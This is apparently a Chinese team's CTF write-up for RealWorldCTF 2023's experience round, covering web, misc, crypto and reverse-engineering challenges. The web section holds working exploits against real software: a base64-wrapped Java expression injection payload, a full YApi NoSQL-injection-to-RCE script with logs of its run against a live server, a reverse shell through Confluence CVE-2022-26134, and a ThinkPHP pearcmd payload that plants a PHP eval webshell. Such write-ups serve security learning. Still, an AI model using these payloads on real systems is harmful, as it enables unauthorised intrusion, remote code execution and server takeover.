此次比赛Torchwood战队与信阳师范学院21级的XH师傅联合,最终获得了总榜第18,高校13名的好成绩。
Web
Evil MySQL Server
文章https://www.cnblogs.com/BOHB-yunying/p/10820453.html
考察mysql的 LOAD DATA 读取客户端任意文件
工具下载:https://github.com/allyshka/Rogue-MySql-Server
题目提示flag在/flag
修改脚本,读取/flag,
python rogue_mysql_server.py &
然后连接数据库,访问mysql.log得到flag
ApacheCommandText
考察java表达式注入,但是进行了过滤,需要bypass,用base64进行绕过
payload
${base64Decoder:JHtzY3JpcHQ6anM6bmV3IGphdmEudXRpbC5TY2FubmVyKG5ldyBqYXZhLmxhbmcuUHJvY2Vzc0J1aWxkZXIoJy9iaW4vc2gnLCctYycsICcvcmVhZGZsYWcnKS5zdGFydCgpLmdldElucHV0U3RyZWFtKCksICdHQksnKS51c2VEZWxpbWl0ZXIoJyAnKS5uZXh0KCl9=}
Yummy Api
YApi版本1.10.2,以前的不能用,找到文章https://paper.seebug.org/2028/
1.12.0版本之前,存在一处NoSQL注入漏洞,通过该漏洞攻击者可以窃取项目Token,并利用这个Token执行任意Mock脚本,获取服务器权限。
POC:
import requests
import json
import click
import re
import sys
import logging
import hashlib
import binascii
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding
from urllib.parse import urljoin
logger = logging.getLogger('attacker')
logger.setLevel('WARNING')
ch = logging.StreamHandler(sys.stdout)
ch.setFormatter(logging.Formatter('%(asctime)s - %(message)s'))
logger.addHandler(ch)
choices = 'abcedf0123456789'
script_template = r'''const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
const Buffer = FunctionConstructor('return Buffer')()
const output = process.mainModule.require("child_process").execSync(Buffer.from('%s', 'hex').toString()).toString()
context.responseData = 'testtest' + output + 'testtest'
'''
def compute(passphase: str):
nkey = 24
niv = 16
key = ''
iv = ''
p = ''
while True:
h = hashlib.md5()
h.update(binascii.unhexlify(p))
h.update(passphase.encode())
p = h.hexdigest()
i = 0
n = min(len(p) - i, 2 * nkey)
nkey -= n // 2
key += p[i:i + n]
i += n
n = min(len(p) - i, 2 * niv)
niv -= n // 2
iv += p[i:i + n]
i += n
if nkey + niv == 0:
return binascii.unhexlify(key), binascii.unhexlify(iv)
def aes_encode(data):
key, iv = compute('abcde')
padder = padding.PKCS7(128).padder()
cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
encryptor = cipher.encryptor()
ct = encryptor.update(padder.update(data.encode()) + padder.finalize()) + encryptor.finalize()
return binascii.hexlify(ct).decode()
def aes_decode(data):
key, iv = compute('abcde')
unpadder = padding.PKCS7(128).unpadder()
cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
decryptor = cipher.decryptor()
ct = decryptor.update(binascii.unhexlify(data)) + decryptor.finalize()
ct = unpadder.update(ct) + unpadder.finalize()
return ct.decode().strip()
def brute_token(target, already):
url = urljoin(target, '/api/interface/up')
current = '^'
for i in range(20):
for ch in choices:
guess = current + ch
data = {
'id': -1,
'token': {
'$regex': guess,
'$nin': already
}
}
headers = {
'Content-Type': 'application/json'
}
response = requests.post(url,
data=json.dumps(data),
headers=headers,
# proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
# verify=False,
)
res = response.json()
if res['errcode'] == 400:
current = guess
break
logger.debug(f'current cuess: {current}')
return current[1:]
def find_owner_uid(target, token):
url = urljoin(target, '/api/project/get')
for i in range(1, 200):
params = {'token': aes_encode(f'{i}|{token}')}
response = requests.get(url, params=params,
# proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
# verify=False,
)
data = response.json()
if data['errcode'] == 0:
return i
return None
def find_project(target, token, pid=None):
url = urljoin(target, '/api/project/get')
params = {'token': token}
if pid:
params['id'] = pid
response = requests.get(url,
params=params,
#proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
#verify=False,
)
data = response.json()
if data['errcode'] == 0:
return data['data']
def find_col(target, token, brute_from, brute_to):
url = urljoin(target, '/api/open/run_auto_test')
for i in range(brute_from, brute_to):
try:
params = {'token': token, 'id': i, "mode": "json"}
response = requests.get(url,
params=params,
timeout=5,
#proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
#verify=False,
)
data = response.json()
if 'message' not in data:
continue
if data['message']['len'] > 0:
logger.debug('Test Result Found: %r', response.url)
yield i
except requests.exceptions.Timeout:
logger.debug('id=%d timeout', i)
pass
def update_project(target, token, project_id, command):
url = urljoin(target, '/api/project/up')
command_hex = command.encode().hex()
script = script_template % command_hex
response = requests.post(url,
params={'token': token},
json={'id': project_id, 'after_script': script},
# proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
# verify=False,
)
data = response.json()
return data['errcode'] == 0
def run_auto_test(target, token, col_id):
url = urljoin(target, '/api/open/run_auto_test')
response = requests.get(url,
params={'token': token, 'id': col_id, 'mode': 'json'},
# proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
# verify=False,
)
try:
data = response.json()
return data['list'][0]['res_body'][8:-8]
except (requests.exceptions.JSONDecodeError, KeyError, IndexError, TypeError) as e:
g = re.search(br'testtest(.*?)testtest', response.content, re.I | re.S)
if g:
return g.group(1).decode()
else:
return None
def clear_project(target, token, project_id, old_after_script):
url = urljoin(target, '/api/project/up')
response = requests.post(url, params={'token': token}, json={'id': project_id, 'after_script': old_after_script})
data = response.json()
return data['errcode'] == 0
@click.group()
@click.option('--debug', 'debug', is_flag=True, type=bool, required=False, default=False)
def cli(debug):
if debug:
logger.setLevel('DEBUG')
@cli.command('enc')
@click.argument('data', type=str, required=True)
def cmd_enc(data: str):
click.echo(aes_encode(data))
@cli.command('dec')
@click.argument('data', type=str, required=True)
def cmd_dec(data: str):
click.echo(aes_decode(data))
@cli.command('token')
@click.option('-u', '--url', type=str, required=True)
@click.option('-c', '--count', type=int, default=5)
def cmd_token(url, count):
already = []
for i in range(count):
token = brute_token(url, already)
if not token:
break
click.echo(f'find a valid token: {token}')
already.append(token)
@cli.command('owner')
@click.option('-u', '--url', type=str, required=True)
@click.option('-t', '--token', 'token', type=str, required=True, help='Token that get from first step')
def cmd_owner(url, token):
aid = find_owner_uid(url, token)
e = aes_encode(f'{aid}|{token}')
click.echo(f'your owner id is: {aid}, encrypted token is {e}')
@cli.command('project')
@click.option('-u', '--url', type=str, required=True)
@click.option('-o', '--owner-id', 'owner', type=str, required=True)
@click.option('-t', '--token', 'token', type=str, required=True, help='Token that get from first step')
def cmd_project(url, owner, token):
token = aes_encode(f'{owner}|{token}')
project = find_project(url, token)
if project:
logger.info('[+] project by this token: %r', project)
click.echo(f'your project id is: {project["_id"]}')
@cli.command('col')
@click.option('-u', '--url', type=str, required=True)
@click.option('-o', '--owner-id', 'owner', type=str, required=True)
@click.option('-t', '--token', 'token', type=str, required=True, help='Token that get from first step')
@click.option('--from', 'brute_from', type=int, required=False, default=1, help='Brute Col id from this number')
@click.option('--to', 'brute_to', type=int, required=False, default=200, help='Brute Col id to this number')
def cmd_col(url, owner, token, brute_from, brute_to):
token = aes_encode(f'{owner}|{token}')
for i in find_col(url, token, brute_from, brute_to):
click.echo(f'found a valid col id: {i}')
@cli.command('rce')
@click.option('-u', '--url', type=str, required=True)
@click.option('-o', '--owner-id', 'owner', type=str, required=True)
@click.option('-t', '--token', 'token', type=str, required=True, help='Token that get from first step')
@click.option('--pid', 'project_id', type=int, required=True)
@click.option('--cid', 'col_id', type=int, required=True)
@click.option('-c', '--command', 'command', type=str, required=True, help='Command that you want to execute')
def cmd_rce(url, owner, token, project_id, col_id, command):
token = aes_encode(f'{owner}|{token}')
project = find_project(url, token, project_id)
if not project:
click.echo('[-] failed to get project')
return False
old_after_script = project.get('after_script', '')
if not update_project(url, token, project_id, command):
click.echo('[-] failed to update project')
return False
output = run_auto_test(url, token, col_id)
if output:
click.echo(output)
clear_project(url, token, project_id, old_after_script)
return True
clear_project(url, token, project_id, old_after_script)
return False
@cli.command('one4all')
@click.option('-u', '--url', type=str, required=True)
@click.option('--count', type=int, default=5)
@click.option('-c', '--command', type=str, default='id')
def cmd_one4all(url, count, command):
already = []
for i in range(count):
token = brute_token(url, already)
if not token:
logger.info('[-] no new token found, exit...')
break
already.append(token)
logger.info('[+] find a new token: %s', token)
owner_id = find_owner_uid(url, token)
if not owner_id:
logger.info('[-] failed to find the owner id using token %s', token)
continue
etoken = aes_encode(f'{owner_id}|{token}')
logger.info('[+] find a new owner id: %r, encrypted token: %s', owner_id, etoken)
project = find_project(url, etoken)
if not project:
logger.info('[-] failed to find project using token %s', token)
continue
project_id = project['_id']
logger.info('[+] project_id = %s, project = %r', project_id, project)
col_ids = find_col(url, etoken, 1, 200)
if not col_ids:
logger.info('[+] failed to find cols in project %s, try next project...', project_id)
for col_id in col_ids:
logger.info('[+] col_id = %s', col_id)
click.echo(f'hit: project_id: {project_id} | owner_id: {owner_id} | col_id: {col_id} | token: {token}')
click.echo(f'suggestion: python {sys.argv[0]} rce -u {url} -t {token} -o {owner_id} --pid {project_id} --cid {col_id} --command="{command}"')
if cmd_rce.callback(url, owner_id, token, project_id, col_id, command):
return
if __name__ == '__main__':
cli()
可以登录以后直接打,执行:
python poc.py --debug one4all -u http://47.98.161.119:8080/
2023-01-07 22:58:17,376 - current cuess: ^d
2023-01-07 22:58:18,213 - current cuess: ^d2
2023-01-07 22:58:18,288 - current cuess: ^d2a
2023-01-07 22:58:19,525 - current cuess: ^d2a6
2023-01-07 22:58:20,804 - current cuess: ^d2a67
2023-01-07 22:58:22,167 - current cuess: ^d2a678
2023-01-07 22:58:22,887 - current cuess: ^d2a6781
2023-01-07 22:58:23,928 - current cuess: ^d2a67815
2023-01-07 22:58:24,539 - current cuess: ^d2a67815f
2023-01-07 22:58:24,974 - current cuess: ^d2a67815ff
2023-01-07 22:58:25,359 - current cuess: ^d2a67815ffe
2023-01-07 22:58:26,733 - current cuess: ^d2a67815ffe7
2023-01-07 22:58:26,947 - current cuess: ^d2a67815ffe7b
2023-01-07 22:58:27,408 - current cuess: ^d2a67815ffe7bd
2023-01-07 22:58:28,429 - current cuess: ^d2a67815ffe7bd3
2023-01-07 22:58:28,830 - current cuess: ^d2a67815ffe7bd3e
2023-01-07 22:58:29,040 - current cuess: ^d2a67815ffe7bd3eb
2023-01-07 22:58:29,712 - current cuess: ^d2a67815ffe7bd3eb0
2023-01-07 22:58:30,507 - current cuess: ^d2a67815ffe7bd3eb01
2023-01-07 22:58:31,475 - current cuess: ^d2a67815ffe7bd3eb015
2023-01-07 22:58:31,476 - [+] find a new token: d2a67815ffe7bd3eb015
2023-01-07 22:58:32,555 - [+] find a new owner id: 11, encrypted token: 49bd00e3d9a1093d38b80c6c2b9ee7756939491f4ecb7b6060d895951b7c5dcc
2023-01-07 22:58:32,627 - [+] project_id = 69, project = {'switch_notice': True, 'is_mock_open': True, 'strice': False, 'is_json5': False, '_id': 69, 'name': 'aaa', 'basepath': '', 'project_type': 'private', 'uid': 11, 'group_id': 11, 'icon': 'code-o', 'color': 'pink', 'add_time': 1673103474, 'up_time': 1673103490, 'env': [{'header': [], 'global': [], '_id': '63b9887292bc38005633db44', 'name': 'local', 'domain': 'http://127.0.0.1'}], 'tag': [], 'project_mock_script': 'const sandbox = thisrn// 获取当前对象的构造方法rnconst ObjectConstructor = this.constructorrn// 获取方法的构造方法rnconst FunctionConstructor = ObjectConstructor.constructorrn// 动态定义方法,返回process对象,process全局可用rn const myfun = FunctionConstructor('return process')rn const process = myfun()rn // 执行shell命令rn mockJson = process.mainModule.require("child_process").execSync("whoami && ps -ef").toString()', 'cat': [], 'role': 'admin'}
2023-01-07 22:58:38,866 - Test Result Found: 'http://47.98.161.119:8080/api/open/run_auto_test?token=49bd00e3d9a1093d38b80c6c2b9ee7756939491f4ecb7b6060d895951b7c5dcc&id=66&mode=json'
2023-01-07 22:58:38,866 - [+] col_id = 66
hit: project_id: 69 | owner_id: 11 | col_id: 66 | token: d2a67815ffe7bd3eb015
suggestion: python poc.py rce -u http://47.98.161.119:8080/ -t d2a67815ffe7bd3eb015 -o 11 --pid 69 --cid 66 --command="id"
uid=1001(ctf) gid=1001(ctf) groups=1001(ctf)
然后直接执行命令就可以了
python poc.py rce -u http://47.98.161.119:8080/ -t d2a67815ffe7bd3eb015 -o 11 --pid 69 --cid 66 --command="/readflag"
rwctf{y0u_h4ve_f0und_yvmmy_@pi_f0r_c1ph3r_ch4ll3ng3s}
Be-a-Wiki-Hacker
打开发现是基于基于 Atlassian Confluence 7.13.6 技术构建,直接搜,正好碰到CVE-2022-26134
攻击者可利用漏洞在未经身份验证的情况下,远程构造OGNL表达式进行注入,在Confluence Server或Data Center上执行任意代码。
工具:https://github.com/0x14dli/cve2022-26134exp
直接使用反弹shell
confluence@5922288b0d33:~$ cat /flag
cat /flag
rwctf{154fea37c0f14b519942931db23e89e8}
Be-a-Language-Expert
payload:
/index.php?+config-create+/&lang=../../../../../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_REQUEST['a']);?>+/tmp/ab1.php
ThinkPHP V6.0.12LTS多语言模块RCE
通过pearcmd文件包含实现写入一句话
蚁剑连接根目录flag读取需要权限,发现readflag的程序尝试运行得出flag
/index.php?+config-create+/&lang=../../../../../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_REQUEST['a']);?>+/tmp/ab1.php
Misc
🐑了拼🐑
玩游戏即可赢flag
直接查看网页js源码也可以
Be-a-Famicom-Hacker
魂斗罗,在网上随便下一个fc模拟器,输入金手指
0032-01-99 1P生命
00AE-01-01 1P隐身无敌
00AA-01-01 武器(把后面的03改01是M 02是F 03是S 04是L)
通关之后激发隐藏彩蛋,玩游戏的时候记得存档,尤其击败最终boss的时候 https://www.bilibili.com/video/BV1Ns41117rH/?spm_id_from=333.337.search-card.all.click&vd_source=fa7dbaf4b19e4cbbda87a0b4ac15773b
Get flag
Be-a-PK-LPE-Master
根据题目提示找到相应脚本,prefixes更换为对应字符串
from hashlib import sha256
import sys
from pwn import *
from pwnlib.util.iters import mbruteforce
import string
prefixes = 'iHzxx'
def brute(cur):
content = prefixes + str(cur)
s = sha256(content.encode())
if s.hexdigest().startswith("000000") and int(s.hexdigest()[6:8], 16) < 0x40:
return True
return False
mbruteforce(brute, string.ascii_lowercase + string.digits, method = 'upto', length=6, threads = 20)
运行脚本后得到答案后进入,提示需要账号和密码,猜测账号ubuntu,密码root成功进入ubuntu
在根目录找到flag
Crypto
babyCurve
首先根据add
函数
def add(A, B):
(u, v), (w, x) = A, B
assert u != w or v == x
if u == w: m = (3*u*w + 4*u + 1) * i(v+x)
else: m = (x-v) * i(w-u)
y = m*m - u - w - 2
z = m*(u-y) - v
return y % p, z % p
其中if u == w: m = (3*u*w + 4*u + 1) * i(v+x)
,函数i
为求逆元,通过对此判别式积分可以推算出曲线方程为,又因为点在曲线上,可以得出,则曲线方程为。其存在奇点。
参考本篇文章https://crypto.stackexchange.com/questions/61302/how-to-solve-this-ecdlp可以求出x,exp如下
#sage
p = 193387944202565886198256260591909756041
# P.<x> = GF(p)[]
PR.<x> = PolynomialRing(Zmod(p))
f = x ** 3 + 2 * x ** 2 + x
P = (4,10)
Q = (65639504587209705872811542111125696405,125330437930804525313353306745824609665)
# root = f.roots()
# print(root)
#Singular point (-1,0)
k = 193387944202565886198256260591909756040
ff = f.subs(x = x - 1)
print(ff.factor())
#(x + 193387944202565886198256260591909756040) * x^2
PP = (P[0] - 193387944202565886198256260591909756040,P[1])
QQ = (Q[0] - 193387944202565886198256260591909756040,Q[1])
t = GF(p)(193387944202565886198256260591909756040).square_root()
u = (PP[1] + t * PP[0]) / (PP[1] - t * PP[0]) % p
v = (QQ[1] + t * QQ[0]) / (QQ[1] - t * QQ[0]) % p
x = v.log(u)
#x = 4470735776084208177429085432176719338
结果发现用这个x无法求出flag,说明还要算上阶的倍数,最后得到flag
#sage
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
x = 4470735776084208177429085432176719338
print(x)
kk=u.multiplicative_order()
enc = bytes.fromhex('b3669dc657cef9dc17db4de5287cd1a1e8a48184ed9746f4c52d3b9f8186ec046d6fb1b8ed1b45111c35b546204b68e0')
while x < p:
x += kk
aes = AES.new(long_to_bytes(x),AES.MODE_CBC,bytes(16))
flag = aes.decrypt(enc)
print(flag)
b'rwctf{Singular_Elliptic_Curve_is_easy_to_break} '
Re
Snake
打开游戏试玩一下
尝试对得分或蛇增加的长度数值进行修改
几次对数值进行搜索后可直接找到地址,直接修改成较大值后继续游玩可得到flag
原文始发于微信公众号(火炬木攻防实验室):RealWorldCTF2023体验赛WP
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论